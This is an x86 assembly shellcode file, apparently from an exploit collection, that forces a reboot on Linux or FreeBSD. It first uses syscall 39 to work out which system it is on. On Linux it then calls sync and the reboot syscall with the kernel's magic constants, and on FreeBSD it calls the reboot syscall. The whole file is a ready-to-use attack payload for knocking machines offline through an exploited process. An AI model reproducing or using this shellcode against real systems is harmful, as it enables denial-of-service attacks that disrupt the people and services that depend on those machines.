BITS 32

; Multi OS reboot shellcode that works on Linux and FreeBSD
; 
; The exploit executes syscall 39 without any args and verifies if an error
; is returned. On Linux this syscall is mkdir, expects arguments and thus 
; returns an error. On FreeBSD this syscall is getppid which doesn't require 
; an argument and will thus return a normal value, the process ID.
;

xor             eax, eax
xor             ebx, ebx
mov             al,39
int             0x80

test    eax,eax
js     linux


freebsd:

; Add FreeBSD assembly code here 

xor             eax,eax
mov             dx,9998
sub             dx,9990
mov             al, 55
int             0x80

jmp short exit

linux:

; Add Linux assembly code here

xor             eax, eax
mov             al,36
int             0x80
mov             al,36
int             0x80
mov             al, 88
mov             ebx, 0xfee1dead
mov             ecx, 672274793
mov             edx, 0x1234567
int             0x80

; Reboot normally doesn't require an exit ;-) This is added to correctly exit if 
; the reboot code fails

exit:

xor             eax, eax
mov             al,1
int             0x80